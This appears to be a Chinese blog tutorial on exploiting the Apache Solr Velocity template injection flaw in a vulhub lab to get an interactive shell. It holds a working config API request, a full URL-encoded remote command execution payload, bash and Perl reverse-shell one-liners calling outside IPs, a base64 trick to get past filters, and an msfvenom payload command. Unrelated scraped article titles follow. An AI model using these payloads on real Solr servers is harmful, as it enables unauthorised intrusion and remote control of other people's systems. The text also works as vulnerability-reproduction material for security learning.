Apache Solr Velocity模板注入rce+获取交互式shell
前言:
官方的poc、exp payload只能获取很低的命令执行权限,甚至有些符号、命令还被过滤了,例如管道符被过滤。并且不能写入、下载文件,不能使用管道符重定向文件。那么我们只能通过获取到交互式shell来执行理想的命令。
0x01影响范围
Apache Solr 5.x - 8.2.0,存在config API版本
0x02环境搭建
vulhub上有几个apache solr的环境,我们使用vulhub上最新的环境“Apache Solr 远程命令执行漏洞(CVE-2019-0193)”
进入到vulhub目录下的solr漏洞的CVE-2019-0193下,然后执行命令:
docker-compose up -d
一键开启环境,这个环境的solr是8.1.1,那么存在该漏洞。
开启环境后,我们要先创建名为test的core,这才将漏洞环境完整搭好,命令为:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
dokcer ps看一下端口,然后进行http://ip:端口,访问 默认8983端口
0x04漏洞利用
我们要知道目标机的core名称才能进行下一步攻击,例如我们刚刚创建的core名称为test,我们看看 core admin
确定了core名称为test,我们试着访问一下 http://host/solr/test/config
能显示出如下代码那么就没问题,接下来发一个post包(伪造一个post包,可以抓刚刚/solr/test/config的get请求包,然后改成post请求),post数据为:
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
post请求头可为:
POST /solr/test/config HTTP/1.1
Host: ,168.1.:
Content-Type: application/json
Content-Length:
基础的参数在就行,也可以加上user-agent
发包,响应包出现200则成功
之后就可以用我们的官方exp的payload:
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
命令执行的地方在exec里面,我标红了的
但是这里不能写入下载文件,就种不了马。我们需要一个交互式的shell。
0x05利用反弹获取交互式shell
一开始一般想到直接使用bash反弹命令:bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 但是使用之后并不会执行,它直接返回500错误
vps上监听根本没有流量,然后想到将bash反弹脚本写在vps上,然后在目标执行curl ip/bash.sh | bash,然后在vps上监听,但是发现也执行不了,目标直接将脚本里面的命令输出在页面上了:
一般linux都带perl,那么试着用perl反弹命令:
perl -e 'use Socket;$i="167.107.0.1";$p=25555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"167.107.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
共有两条命令,第二条是不依赖/bin/bash的,全都试了试,都不行,报500错误,应该是哪个符号或者哪个命令被禁止执行了。
还试了java反弹,也不行。那么现在这种状态应该只有想到通过绕过执行反弹命令了。
在网上摸取到了一个姿势,将bash命令进行runtime编码,然后再进行url编码即可绕过大部分waf,这里也可以绕过。
当然runtime编码是没有在线的,需要的话要去网上下载源码进行编译执行。
但这里针对bash反弹命令:bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 这个的话,有一个规律的:
最前面跟上一个bash -c
格式为:bash -c {}|{base64,-d}|{bash,-i}
第一个大括号里面为bash整个反弹命令的base64编码 例如:bash -c {YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
再将runtime后的整个字符串进行url编码转换就行了。
将编码后的反弹命令拿去RCE处进行执行
vps上成功接收到交互式shell。
0x06 利用perl脚本加msf获取交互式shell
msf生成命令:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP_Addr> LPORT=<Port_Num> -f elf > shell.elf
接下来就参考: https://forum.90sec.com/t/topic/579
Apache Solr Velocity模板注入rce+获取交互式shell的更多相关文章
- Apache Solr Velocity模板注入RCE漏洞复现
Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...
- Apache Solr Velocity模板远程代码执行复现
0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...
- 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短
概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...
- Apache Solr Velocity模板远程代码执行
更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. 这里用的docker环境 很简单的 在这里不再介绍 本地搭建好环境然后访问8983端口 网页如下: 查下节点名称 同样名字可以访问http ...
- CVE-2019-0193 Apache solr velocity模块漏洞
Solr简单介绍 Solr是建立在Apache Lucene ™之上的一个流行.快速.开放源代码的企业搜索平台. Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平衡查询,自 ...
- Apache solr velocity模块 漏洞复现
0x01 Solr简单介绍 Solr是建立在Apache Lucene ™之上的一个流行.快速.开放源代码的企业搜索平台. Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平 ...
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- SSTI-服务端模板注入
SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...
- 企业安全01-Apache solr XML实体注入漏洞CVE-2017-12629
Apache solr XML 实体注入漏洞CVE-2017-12629 一.简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apac ...
随机推荐
- 024.Python模块OS模块
一 OS模块 对系统进行操作 1.1 popen 可以把运行的结果,这个字符串转化成utf-8这样的编码格式在进行输出 import os res = os.popen("ifconfig& ...
- Android整理:SQlite数据库的使用以及通过listView显示数据
前言:上个月与同学一起做了一个简单的Android应用,这段时间正好没有很多事情所以趁热整理一下学习到的知识,刚开始学习Android还有很多不懂的地方,继续努力吧! 作业中需要用到数据库,当然首选A ...
- SpringMVC基础(一)_控制器
Spring MVC Spring MVC 基于模型-视图-控制器(Model-View-Controller)模式实现,它能够帮你构建灵活和松耦合的应用程序. 1.Spring MVC的请求追踪 每 ...
- 如何查看MySql的sql语句性能
原文链接:https://blog.csdn.net/jwq101666/article/details/78561022Explain命令在解决数据库性能上是第一推荐使用命令,大部分的性能问题可以通 ...
- O准备如何苟进复赛圈?华为软挑开挂指南(附赛题预测)
事先声明,这不是华为软挑的软广,我也不是海军. 这篇文章纯粹是心血来潮,原因是去年上传到github的参赛代码,前几天又有两个人star和fork了. 记得star热潮还是去年4月复赛刚结束的那几天, ...
- Java压缩包(zip)【学习笔记】
前言 Java实现Zip压缩解压可以使用JDK的原生类java.util.zip,但是JDK 7 之前存在中文文件名乱码问题. 使用 ant.jar 的org.apache.tools.zip包,可以 ...
- vue中阻止事件穿透的方法
默认情况下,事件在h5页面会穿透传递,比如一div里面套一个div,点击上层div,下层div也会响应 要阻止事件穿透,使用event.stopPropagation(); 代码示例: <div ...
- WARNING: The host '$hostname' could not be looked up with resolveip. (转)
环境介绍:CentOS6.X MySQL版本:5.5.X以上 执行scripts/mysql_install_db脚本时,抛出一条Warning,主机名和IP地址无法解析: The host '$ho ...
- IntelliJ 更改项目使用的 JDK 版本
在当前使用的 IntelliJ 中的 JDK 版本为 1.8,如何修改 IntelliJ 使用的 JDK 版本为 1.11 呢? 你可以在 IntelliJ 中进行修改. 选择 File 后,然后选择 ...
- ModbusTCP协议解析 —— 利用Wireshark对报文逐字节进行解析详细解析Modbus所含功能码
现在网上有很多类似的文章.其实这一篇也借鉴了很多其他博主的文章. 写这篇文章的重点是在于解析功能和报文.对Modbus这个协议并不会做很多介绍. 好了,我们开始吧. 常用的功能码其实也没多少.我也就按 ...